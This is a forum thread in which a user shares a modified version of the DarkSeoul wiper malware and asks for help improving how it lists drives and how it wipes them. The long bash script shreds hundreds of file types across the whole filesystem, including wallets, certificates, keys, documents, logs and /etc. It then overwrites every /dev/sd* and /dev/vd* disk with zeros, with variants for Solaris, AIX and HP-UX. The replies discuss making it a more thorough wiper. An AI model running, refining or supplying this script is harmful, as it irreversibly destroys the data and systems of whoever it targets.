1. To visit protected / private sections of the forum you must be connected with your user account. If you are not yet a member of our forum, you can create it now for free!.

User Tag List

Thread: Using Bash to securely destroy a drive. Need help.

Results 1 to 4 of 4

  1. #1
    Junior Member
    Join Date Jul 2014
    Posts 3
    Like (Stats)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quoted
    0 Post(s)

    Using Bash to securely destroy a drive. Need help.

    I was searching through malwr.com and found DarkSeoul's linux wiper, i've modified it but im looking for a better way to get a list of drives to wipe with dd.

    Code:
    DISK1=`ls -1a /dev/sd*; ls -1a /dev/vd*`
        for i in $DISK1
                do
                        $DD if=/dev/zero of=$i bs=8192000 &
                done
    Can anyone come up with a better way then just using ls -1a /dev/sd* and /dev/vd*?
    Along with any improvements to the script below.

    Code:
    #!/bin/bash
    #Modified Version of DarkSeoul
    WHICH=`which which`
    UNAME=`$WHICH uname`
    SLEEP=`$WHICH sleep`
    DATE=`$WHICH date`
    CAT=`$WHICH cat`
    RM=`$WHICH rm`
    DD=`$WHICH dd`
    KILL=`$WHICH kill`
    function dd_for_hp {
        DISK=`strings -v /etc/lvmtab|grep -v vg`
        for DISK_PART in $DISK
            do
                $DD if=/dev/zero of=$DISK_PART bs=8192000 &
            done
    }
    function dd_for_aix {
        DISK=`lsp | awk '{print $1}'`
        for DISK_PART in $DISK
            do
                $DD if=/dev/zero of=/dev/$DISK_PART bs=10M &
            done
    }
    function dd_for_sun {
        PRTTOC=`$WHICH prtvtoc`
        DISK=`ls /dev/dsk | grep s2`
        for DISK_PART in $DISK
            do
                mnt_info=`$PRTTOC /dev/dsk/$DISK_PART | grep Mount`
                    if [ `expr "$mnt_info" : '.*'` -gt 0 ]
                        then
                            $DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
                    fi
            done
    }
    function dd_for_linux {
        find / -type f -name *.sql -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mp4 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.7z -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rar -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.m4a -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wma -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.avi -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wmv -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.csv -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.d3dbsp -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.zip -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sie -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sum -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ibank -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.t13 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.t12 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.qdf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.gdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.tax -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pkpass -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bc6 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bc7 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bkp -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.qic -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bkf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sidn -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sidd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mddata -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.itl -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.itdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.icxs -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.hvpl -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.hplg -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.hkdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mdbackup -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.syncdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.gho -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.cas -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.svg -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.map -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wmo -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.itm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.fos -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mov -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.vdf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ztmp -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sis -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sid -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ncf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.menu -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.layout -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dmp -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.blob -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.esm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.vcf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.vtf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dazip -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.fpk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mlx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.kf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.iwd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.vpk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.tor -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.psk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rim -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.w3x -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.fsh -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ntl -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.arch00 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.lvl -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.snx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.cfr -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.frm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ibd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ff -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.vpp_pc -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.lrf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.m2 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mcmeta -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.vfs0 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mpqge -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.kdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.db0 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dba -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rofl -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.hkx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bar -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.upk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.das -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.iwi -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.litemod -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.asset -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.forge -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ltx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bsa -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.apk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.re4 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sav -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.lbf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.slm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bik -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.epk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rgss3a -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pak -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.big -exec shred -f -u -z -n3 {} \;
        find / -type f -name wallet -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wotreplay -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xxx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.desc -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.py -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.m3u -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.flv -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.js -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.css -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.png -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.jpeg -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.txt -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.p7c -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.p7b -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.p12 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pfx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pem -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.crt -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.cer -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.der -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.x3f -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.srw -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pef -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ptx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.r3d -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rw2 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rwl -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.raw -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.raf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.orf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.nrw -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mrwref -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mef -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.erf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.kdc -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dcr -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.cr2 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.crw -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.bay -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sr2 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.srf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.arw -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.3fr -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dng -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.jpe -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.jpg -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.cdr -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.indd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ai -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.eps -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pdf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pdd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.psd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dbf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mdf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wb2 -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.rtf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wpd -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dxg -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xf -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.dwg -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pst -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.accdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.mdb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pptm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.pptx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ppt -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xlk -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xlsb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xlsm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xlsx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.xls -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.wps -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.docm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.docx -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.doc -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.odb -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.odc -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.odm -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.odp -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.ods -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.odt -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.php -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.html -exec shred -f -u -z -n3 {} \;
        find / -type f -name *.sqlite -exec shred -f -u -z -n3 {} \;
        find /root/ -type f -exec shred -f -u -z -n3 {} \;
        find /home/ -type f -exec shred -f -u -z -n3 {} \;
        find /var/www/ -type f -exec shred -f -u -z -n3 {} \;
        find /var/log/ -type f -exec shred -f -u -z -n3 {} \;
        find /opt/ -type f -exec shred -f -u -z -n3 {} \;
        find /etc/ -type f -exec shred -f -u -z -n3 {} \;
        find /kernel/ -type f -exec shred -f -u -z -n3 {} \;
        find /var/lib/ -type f -exec shred -f -u -z -n3 {} \;
       
        DISK1=`ls -1a /dev/sd*; ls -1a /dev/vd*`
        for i in $DISK1
                do
                        $DD if=/dev/zero of=$i bs=8192000 &
                done
        #RIP MBR/Partition Table/GPT
        #for i in $DISK1
            #do
                #$DD if=/dev/zero of=$i bs=1M count=10
            #done
    }
    SYSTYPE=`$UNAME -s`
    if [[ "$SYSTYPE" == 'SunOS' ]]; then
        dd_for_sun
    elif [[ "$SYSTYPE" == 'AIX' ]]; then
        dd_for_aix
    elif [[ "$SYSTYPE" == 'HP-UX' ]]; then
        dd_for_hp
    elif [[ "$SYSTYPE" == 'Linux' ]]; then
        dd_for_linux
    fi
    exit
  2. #2
    Member
    Join Date Jun 2015
    Posts 58
    Like (Stats)
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Quoted
    19 Post(s)
    Is it a real wiper , like accessing disk in raw mode , thus really deleting a thing(s) , or it is just - deleter?
  3. #3
    Junior Member
    Join Date Jul 2014
    Posts 3
    Like (Stats)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quoted
    0 Post(s)
    Is it a real wiper , like accessing disk in raw mode , thus really deleting a thing(s) , or it is just - deleter?
    Using just dd if=/dev/zero of=$i bs=8192000 is just deleting the drive once yes, that is why i have included shred to overwrite certain files with 3 passes to remove chances of recovery.
    If you have a way that i could use dd to overwrite sectors multiple times or can think of a way to keep dd from being destroyed let me know.
  4. #4
    Member
    Join Date Jun 2015
    Posts 58
    Like (Stats)
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Quoted
    19 Post(s)
    I was thinking like recent Win wiper malwares , which kill drive aka disk , but , doesn't render it unusable totally.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. [BASH] WebDAV Scanner
    By 3lit in forum Off-Topic
    Replies: 2
    Last Post: 27-01-2011, 20:01

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts